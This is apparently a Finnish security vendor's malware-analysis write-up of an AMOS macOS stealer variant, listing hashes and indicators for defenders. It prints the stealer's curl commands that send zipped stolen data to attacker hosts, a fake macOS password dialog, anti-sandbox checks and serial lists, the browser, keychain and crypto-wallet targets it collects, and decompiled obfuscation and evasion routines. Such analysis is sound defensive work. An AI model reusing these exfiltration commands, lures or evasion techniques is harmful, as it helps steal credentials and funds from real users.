Tuntemattoman AMOS Stealerin anatomia: alertista immuniteettiin tunneissa

Tähän asti dokumentoimaton AMOS-stealerin variantti kompromentoi macOS-endpointin. Ei tunnettuja hasheja, ei C2-tietoja julkisissa tietokannoissa. SOC:mme purki kuusi obfuskointikerrosta, poimi kaikki indikaattorit ja jakoi suojauksen kaikille SOC-asiakkaille tunneissa, jo ennen kuin ala oli edes nähnyt samplea.

Tuntemattoman AMOS Stealerin anatomia: alertista immuniteettiin tunneissa

Kun SOC:ssamme laukeaa alert, kello alkaa käydä: ei vain kyseiselle asiakkaalle vaan kaikille organisaatioille suojamme alla. Vaarallisin hetki nykyaikaisessa uhkaympäristössä on Intelligence Gap, se aikaikkuna uuden haittaohjelmavariantin ensimmäisen käytön ja sen päivän välillä, jona ala saa siitä tiedon.

Itsenäisille tietoturvatiimeille tämä aukko merkitsee äärimmäistä haavoittuvuutta: odotellaan vendor-päivitystä tai signatuurifeediä, jota ei ole vielä kirjoitettu. Asiakkaillemme sisäisesti kehittämämme Shared Threat Intelligence sulkee täsmälleen tämän ikkunan.

Tämä kirjoitus on tekninen erittely siitä, miten purimme tähän asti dokumentoimattoman AMOS-variantin (Atomic macOS Stealer) ja miten yhdestä ainoasta kompromentoidusta endpointista tuli muutamassa tunnissa kattava tunnistus ja esto kaikkiin asiakasympäristöihimme.


Tapaus: tuntematon IOC-skenaario

Alert saapui 12. maaliskuuta 2026 kello 06.25 paikallista aikaa: macOS-endpoint oli kompromentoitu. Kun SOC:mme aloitti artefaktien analyysin, edessämme oli tilanne, jota jokainen threat analyst pelkää: ei tunnettuja tiedostohasheja, ei C2-IP-osoitteita, ei puhuttelevia käyttäytymissignatuureja julkisissa tietokannoissa.

Koko hyökkäysarkkitehtuuri paljastui vasta syväanalyysissä. Infektio perustui 15,7 Mt:n kokoiseen macOS Universal Binaryyn (x86_64 ja ARM64), joka oli sijoitettu polkuun /private/tmp/helper. Sample ei ollut suoraan saatavilla kompromentoidulla järjestelmällä; tiimimme joutui rekonstruoimaan infektioketjun ja simuloimaan alkuperäisen toimituspyynnön hakeakseen binäärin käsin hyökkääjän infrastruktuurista.


Stage 1: sandbox-tarkistukset

Ennen kuin varsinainen stealer suoritettiin laitteella, oli jo ajettu AppleScript-payload. Jokainen merkkijono siinä, jokainen tiedostopolku, jokainen shell-komento, jokainen URL oli koodattu kolmella mukautetulla aritmeettisella funktiolla:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Yksikään merkkijono ei esiinny selkotekstinä. Se, mikä ensi silmäyksellä näytti merkityksettömiltä kokonaislukutaulukoilta, paljastui koodausskeeman kääntämisen jälkeen täydeksi, käyttövalmiiksi tietovarkaus- ja eksfiltraatiokehykseksi.

Dekoodasimme jokaisen taulukon skriptissä staattisesti. Tulokset olivat yksiselitteisiä:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

Lataus-URL jäljittelee tarkoituksella legitiimiä n8n-workflow-automaation päivitystä, ja n8n on työkalu, joka on laajalti levinnyt kehittäjien ja DevOps-insinöörien keskuudessa. Se ei ole sattumaa: kampanja tähtää teknisesti taitaviin käyttäjiin, ei tavallisiin loppukäyttäjiin, jotka asentavat krakattua ohjelmistoa.

Anti-sandbox-tarkistus

Ennen latausta skripti ajoi oman VM- ja sandbox-tunnistusrutiinin. Incident-artefakteista pystyimme lisäksi palauttamaan itsenäisen anti-sandbox-skriptin:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Tulokset skripti tarkisti sitten kahta listaa vastaan. Ensimmäinen etsi virtualisointimerkintöjä muistitiedoista:

"QEMU"   "VMware"   "KVM"

Toinen tarkisti laitteistotunnisteet tunnettujen analyysikoneiden sarjanumerolistaa vastaan:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Osuman sattuessa: exit 100, täysi keskeytys. Aidolla MacBook Prolla, jossa on Apple Silicon, kaikki tarkistukset menivät äänettömästi läpi ja suoritus jatkui. Ammattitason sandbox-evaasiotekniikka, joka ajoi ennen kuin ainuttakaan binäärin tavua oli ladattu.

Yksinkertainen mutta tehokas: väärennetty salasanakysely

Dekoodattu skripti sisälsi myös dialogin oikeuksien korottamiseen social engineeringin kautta:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Dialogi ilmestyy tavallisella macOS:n display dialog -kutsulla with hidden answer -määreellä, eikä sitä voi visuaalisesti erottaa aidosta macOS:n valtuutuskyselystä. Syötettyä salasanaa skripti käytti kutsuakseen login -pf <username> ja nostaakseen prosessin root-oikeuksiin, vielä ennen kuin binääri suoritettiin.

Mitä skripti keräsi

Heti kun binääri oli suoritettu, osascript jatkoi omaa keräysprosessiaan ja poimi jokaisen arkaluonteisen järjestelmädatan kategorian. Dekoodasimme kaikki keräyspolut ja kohteet:

Selaindata (kaikki Chromium-selaimet + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Koko sisältö vietiin HTML:nä laskurityppisellä otsikolla

Paikalliset tiedostot

Työpöytä ja Dokumentit, enintään 30 Mt, painopisteenä:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Kryptovaluttalompakot

Kovakoodattu lista, jossa on yli 200 selainlaajennuksen ID:tä ja joka kattaa kaikki yleiset lompakot, mukaan lukien MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ja Exodus.

Keräyksen jälkeen kaikki data niputettiin satunnaisesti nimettyyn väliaikaishakemistoon ja eksfiltroitiin:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Siivous seurasi välittömästi:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: 'helper'-binäärin reverse engineering

helper-binääri on se osa, jossa tämä analyysi menee todella syvälle. Kyseessä on ammattimaisesti obfuskoitu macOS-executable, joka vaikeuttaa staattista analyysiä järjestelmällisesti ja aiheutti tämän tutkimuksen suurimman reverse engineering -työn.

Koko analyysi tehtiin Ghidralla ja omalla mukautetulla ARM64-analyysityönkulullamme.

Tiedoston ominaisuudet

Ominaisuus Arvo
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Se alkaa ennen main()-funktiota

Ensimmäinen asia, jonka totesimme Ghidrassa: tämä binääri ei käyttäydy kuin normaali executable. Varsinainen sisääntulopiste ei ole main() vaan funktio, joka on rekisteröity __mod_init_func-osioon, macOS-mekanismiin, joka ohjeistaa dynaamista linkkeriä (dyld) suorittamaan tietyt funktiot automaattisesti binäärin latautuessa, vielä ennen kuin hyödyllistä koodia ajetaan.

Init-funktio osoitteessa 0x10009f384 on haittaohjelman varsinainen sisääntulopiste. Tässä Ghidra-dekompilaatio:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Kaksi asiaa pistää heti silmään. Ensinnäkin 894 mikrosekunnin usleep käynnistyksessä: anti-sandbox-ajoitussignaali. Vakavampi on epäsuora hyppytaulukko osoitteessa 0x10009f43c. Se on laskettu branch, jossa kohdeosoite määritetään ajonaikaisesti lookup-taulukosta. Staattiset analyysityökalut eivät pysty rekonstruoimaan control flow -graafia; Ghidra kirjasi useita "unreachable block" -varoituksia yrittäessään seurata suorituspolkua. Niin on tarkoituskin.

Hyppytaulukko ajaa 14 tilan suorituskonetta. Jokainen tila suorittaa yhden diskreetin askeleen purku- ja suoritusputkessa. Tilalaskuri päivitetään jokaisen askeleen jälkeen, ja kone käy, kunnes kaikki tilat on käyty läpi.

State dispatcherin ARM64-disassembly

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Kuusi päällekkäistä obfuskointikerrosta

Binääri käyttää kuutta eri obfuskointikerrosta, pinottuna ja ketjutettuna niin, että kunkin kerroksen tuloste syötetään seuraavaan. Jokainen payload, jokainen merkkijono, jokainen sisäinen vakio on koodattu. __const-segmentissä ei esiinny mitään merkityksellistä selkotekstinä. Seuraavassa on täydellinen kerroskohtainen erittely, suoraan Ghidrassa varmennettuna, aina yksittäisiin ARM64-käskyihin asti. Jokainen käytetyistä tekniikoista on itsessään tunnettu; niiden ketjutettu soveltaminen useassa vaiheessa loi kuitenkin vahvasti toisistaan riippuvan suoritusvuon, joka vaikeutti staattista ja dynaamista analyysiä huomattavasti.


Layer 1: compile-time-triplettikoodaus

Yhtäkään merkkijonoa ei ole binäärissä tallennettu merkkijonona vaan 12 tavun aritmeettisten triplettien sarjana. Jokainen tripletti (a, b, shift) koodaa täsmälleen yhden tulostemerkin. Koodausskeema sovelletaan käännösaikana, joten yksikään merkkijono ei koskaan esiinny selkotekstinä binäärissä, ei edes hetkellisesti latauksen yhteydessä.

Kaksi erillistä dekooderifunktiota käsittelee eri merkkijonokokoja. FUN_100087c08 osoitteessa 0x100087c08 dekoodaa 60 merkin merkkijonoja (720 tavua syötedataa lähteestä DAT_1006292cc). FUN_10007ad80 osoitteessa 0x10007ad80 dekoodaa 56 merkin merkkijonoja (672 tavua lähteestä DAT_10049708c). Molemmat käyttävät samaa algoritmia.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Vastaava ARM64-assembly, jossa jokainen käsky vastaa suoraan yhtä kaavan operaatiota:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Huomionarvoista: kertolasku b × 3 on toteutettu muodossa add w12, w11, w11, LSL #1, shift-and-add, joka välttää kertolaskukäskyn kokonaan. Se on klassinen kääntäjäoptimointi, joka tekee koodista samalla vaikeamman löytää signatuurihaulla.

Täydellinen dekoodauskaava:

char = ASR( (b × 3) XOR a, shift ) − b

ASR (Arithmetic Shift Right) on ratkaiseva: se säilyttää etumerkkibitin. Jos välitulos (b×3) XOR a on negatiivinen, mikä on yleistä, looginen shift tuottaisi täysin eri tuloksen. Se on tarkoituksellista: se, joka toteuttaa kaavan uudelleen korkeamman tason ohjelmointikielessä >>-operaattorilla, saa hiljaisesti vääriä tulosteita, ellei etumerkillistä aritmetiikkaa oteta nimenomaisesti huomioon.

56 merkin variantti FUN_10007ad80 on rakenteellisesti identtinen, toimii datalla DAT_10049708c ja silmukkarajalla 0x38. Molemmat funktiot varmennettiin tämän analyysin aikana livenä Ghidrassa.


Layer 2: heksamerkkijonokoodaus

Layer 1:n tuottamat raakatavut ovat itse ASCII-heksamerkkejä, eivät binääridataa. Layer 1:n triplettidekoodauksen tuloste on merkkijono heksapareja: 32694e5462…. Tämän vahvistaa dekooderifunktio FUN_100000dc0 osoitteessa 0x100000dc0, joka toteuttaa heksadekoodauksen lookup-taulukolla osoitteessa DAT_1007bb591.

Ghidra-dekompilaatio näyttää switch-lauseen, joka kuvaa jokaisen heksamerkin (0x30-0x39, 0x41-0x46, 0x61-0x66) sen nibble-arvoksi ja kokoaa tulostetavut kaksi merkkiä kerrallaan:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64-assembly ajaa tätä toissijaisella computed-branch-taulukolla ja toteuttaa siten käytännössä 55 merkinnän hyppytaulukon switchille:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Kaksi laskettua branchia 24 tavun ikkunassa. Staattiset analyysityökalut eivät selviä tästä kuviosta, koska molemmat branch-kohteet ovat analyysihetkellä tuntemattomia.

137 208 merkin pituinen heksamerkkijono tuottaa dekoodauksen jälkeen 68 604 tavua, jotka syötetään sitten Layer 3:een.


Layer 3: mukautettu 16 symbolin nibble-aakkosto

Layer 2:n 68 604 tulostetavua käyttävät vain 16:ta yksilöllistä tavuarvoa kahdelta ei-yhtenäiseltä ASCII-alueelta:

  • 0x20-0x2F: välilyönti, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Tämä on tietoinen suunnitteluratkaisu. Heksaeditorissa nämä tavut näyttävät välilyönneiltä, välimerkeiltä ja ASCII-reunamerkeiltä; ne sulautuvat siihen kohinaan, joka vaikuttaa metadatalta tai paddingilta. Analyytikko, joka silmäilee heksadumppia, ei merkitse näitä tavualueita epäilyttäviksi, ja tavanomaiset entropia-analyysit aliarvioivat todellisen entropian, koska tavujakauma ei vaikuta satunnaiselta.

Jokainen tavu tästä aakkostosta koodaa yhden nibblen varsinaisesta payloadista. Aakkosto-nibble-kuvauksen soveltaa enkoodaus-/dekoodausfunktio FUN_100000d60, jonka varmensimme osoitteessa 0x100000d60. Se ketjuttaa kaksi alifunktiota: FUN_100000b50 luo indeksoidun kartan syötemerkkijonon merkeistä, ja FUN_100000c34 käy tätä karttaa läpi, kuluttaa 6 bittiä askelta kohti ja kerää tulostetavuja 8 bittiä kerrallaan:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

Tästä ajosta syntyvät 34 302 tavua ovat 99,7-prosenttisesti tulostettavaa ASCII:ta. Ensimmäisellä pikaisella silmäyksellä payload näyttää tässä vaiheessa isolta shell-skriptiltä tai konfiguraatioblobilta.


Layer 4: compile-time-merkkijono-obfuskointi

Sisäisesti käytetyt merkkijonot obfuskoidaan käännösaikana samalla triplettiskeemalla kuin Layer 1:ssä ja rekonstruoidaan ajonaikaisesti välittömästi ennen käyttöä. Muistissa ne eivät viivy koskaan tarpeellista pidempään; puskuri vapautetaan heti kulutuksen jälkeen. Binäärin staattisissa datasektioissa ei ole missään vaiheessa näkyvissä dekoodattua merkkijonoa.

Merkkijonon hash-funktio FUN_100000730 tuottaa toissijaisen obfuskointikerroksen merkkijonovertailuille. Sen sijaan että vertailtaisiin merkkijonoja suoraan, mikä jättäisi selkotekstiä muistiin, binääri laskee ja vertailee kokonaislukuhasheja:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

ARM64-assembly korvaa kertolaskun fused multiply-addilla:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Tämä tarkoittaa, että edes kahden merkkijonon vertailu binäärin sisällä ei tuota branchia, jonka debuggeri voisi napata siististi merkkijonotasolla, vaan vain hash-tasolla.


Layer 5: kaksi mukautettua stream cipher -instanssia

Tässä kohtaa obfuskointiarkkitehtuuri muuttuu epätavalliseksi. Binäärissä ei aja yksi vaan kaksi erillistä cipher-instanssia, kummallakin eri kovakoodattu lookup-taulukko ja eri alkulaskuri. Molemmat käyttävät samaa algoritmirakennetta mutta tuottavat eri tulosteaakkostot payload-putken eri osille.

Instanssi A, FUN_10007ab34 osoitteessa 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instanssi B, FUN_10007a7e0 osoitteessa 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Algoritmi on rakenteellisesti identtinen, mutta alkulaskuri eroaa (0x4c vs. 0x9f) ja lookup-taulukot sijaitsevat eri muistiosoitteissa. Instanssi A kutsutaan tilakoneen tilasta 11 tuottamaan koodausaakkosto ensimmäiselle payload-polulle. Instanssi B kutsutaan tilasta 6 tuottamaan aakkosto ison shell-skripti-payloadin dekoodaukseen.

Täsmällisesti muotoiltuna: kyseessä on substituutiosalain, jonka indeksi riippuu laskurista. Jokainen tulostetavu on taulukkohaku, jossa indeksi on (input_byte XOR counter) & 0xFF. Laskuri päivittyy jokaisen tavun jälkeen muodossa counter = (i + (counter XOR output)) & 0xFF, mikä tarkoittaa, että jokainen tulostetavu vaikuttaa seuraavan hakuindeksin määrittymiseen. Se luo riippuvuusketjun koko tulostesekvenssin yli: tavua N ei voi purkaa purkamatta ensin tavuja 0…N-1 oikein. Osittainen purku tai virheanalyysi käy siten huomattavasti vaikeammaksi.

Kumpikaan instansseista ei ole standardi-RC4. S-box-alustusvaihetta ei ole, S-box-swap-operaatiota ei ole. Lookup-taulukot ovat staattisia, käännösaikana upotettuja vakioita.


Layer 6: runtime-XOR exit-koodista riippuvalla avaimella

Viimeinen ja analyyttisesti vaativin kerros soveltaa in-place-XOR-muunnosta Stage 2 -payloadiin. XOR-avain ei ole kovakoodattu vaan johdetaan ajonaikaisesti ensimmäisen shell-payloadin suorituksen exit-koodista, eikä se siten ole periaatteessa määritettävissä staattisella analyysillä. Binääri on todella suoritettava ja ensimmäisen shell-skriptin ajettava loppuun, ennen kuin avain ylipäätään on olemassa.

Avaimenjohtosekvenssi ARM64-tilakoneen dispatcherissa:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

XOR-silmukka, joka käsittelee Stage 2 -payloadin:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

Avain on 16-bittinen arvo, joka johdetaan ensimmäisen shell-payloadin exit-statustavusta, kerrotaan luvulla 0x7f0 ja lisätään tilakoneen peruslaskurirekisterin w26 ajankohtaiseen arvoon. Kertolaskuvakio 0x7f0 saa aikaan sen, että yhden bitin ero exit-koodissa tuottaa täysin eri avaimen. Vierekkäisten avainarvojen välillä ei ole hyödynnettävää jatkuvuutta.

Ilman binäärin suorittamista hallitussa ympäristössä ja ensimmäisen shell-payloadin tarkan exit-koodin kirjaamista Stage 2 -payload pysyy staattiselle analyysille pysyvästi läpinäkymättömänä. Se oli koko analyysin vaikein este.


Shell-suoritus: putket argumenttien sijaan, ja SIMD-XOR

Shell-suoritusfunktio FUN_10000091c osoitteessa 0x10000091c on binäärin arkkitehtonisesti kiinnostavin komponentti. Täällä kaikki tulee yhteen: dekoodattu payload, obfuskoitu komennon nimi ja eksplisiittinen anti-forensiikkasuunnittelu. Jokainen suunnitteluratkaisu tässä funktiossa palvelee tiettyä evaasiotarkoitusta.

Askel 1: komennon nimi ei koskaan esiinny selkotekstinä

/bin/zsh ei esiinny missään binäärissä selkotekstinä. __cstring-osiossa osoitteessa 0x1007bb5c8 merkkijono on obfuskoituina tavuina \x01LG@\x01T]F. Dekoodaus tapahtuu ajonaikaisesti yhdellä XOR-operaatiolla, suoraan ARM64-assemblystä varmennettavissa:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR-avain on 0x2e, pisteen (.) ASCII-arvo. Dekoodaus tapahtuu yhdellä ainoalla eor v0.8B, v0.8B, v1.8B -käskyllä, ARM64-NEON-vektorikäskyllä, joka XOR-yhdistää kaikki 8 tavua samanaikaisesti. SIMD-käskyn käyttäminen yksinkertaiseen 8 tavun dekoodaukseen on epätavallista ja sillä on kaksi vaikutusta: se on nopeampi kuin tavu tavulta etenevä silmukka, ja syntyvä käskykuvio eroaa perustavasti skalaarisista dekoodaussilmukoista, joihin signatuurihakutyökalut on koulutettu.

Varmennus on yksinkertainen: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, mikä antaa ensimmäisiksi neljäksi tavuksi /bin.

Askel 2: putkiarkkitehtuuri

Komennon nimen dekoodauksen jälkeen funktio luo OS-putken ja forkkaa:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

Lapsiprosessissa:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Lapsiprosessi korvaa vakiosyötteensä putken lukupäällä ja käynnistää /bin/zsh -s. -s-tilassa shell lukee komennot stdinistä. Prosessienvalvontatyökaluille tämä prosessi näyttäytyy muodossa /bin/zsh -s ilman argumentteja, erottumattomana legitiimistä interaktiivisesta shell-istunnosta.

Askel 3: vaihtelevan kokoiset chunk-kirjoitukset

Vanhempiprosessi kirjoittaa puretun payloadin tarkoituksella vaihtelevissa chunk-koissa putken kirjoituspäähän:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

Chunk-kokokaava (remaining_length % 192) + 64 tuottaa arvoja 64:n ja 255 tavun väliltä write-kutsua kohti riippuen jäljellä olevasta payload-pituudesta. Vaihteleva kirjoituskuvio on näkyvissä kernel-tapahtumien tracing-työkaluissa kuten ktrace tai dtrace, mutta se ei tuota tunnistettavaa kiinteän koon signatuuria. Jokainen saman payloadin suoritus tuottaa eri sekvenssin write()-syscallien kokoja.

Yhden mikrosekunnin usleep chunkkien välillä palvelee toista tarkoitusta: se vapauttaa CPU:n kirjoitusten välillä, pitää CPU-kuormituksen tasaisena ja välttää äkillisen piikin, jonka käyttäytymispohjainen EDR-sääntö voisi merkitä poikkeavaksi burst-I/O:ksi.

Askel 4: välitön muistin siivous

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

_bzero()-kutsu nollaa koko puretun payload-puskurin välittömästi viimeisen putkeen kirjoituksen jälkeen. Ei aikaikkunaa, ei edes mikrosekuntia, jolloin purettu payload olisi suorituksen päätyttyä vielä muistissa. Live-muistidumppi, joka otetaan heti tämän funktion paluun jälkeen, löytää vain nollia siitä, missä payload oli.

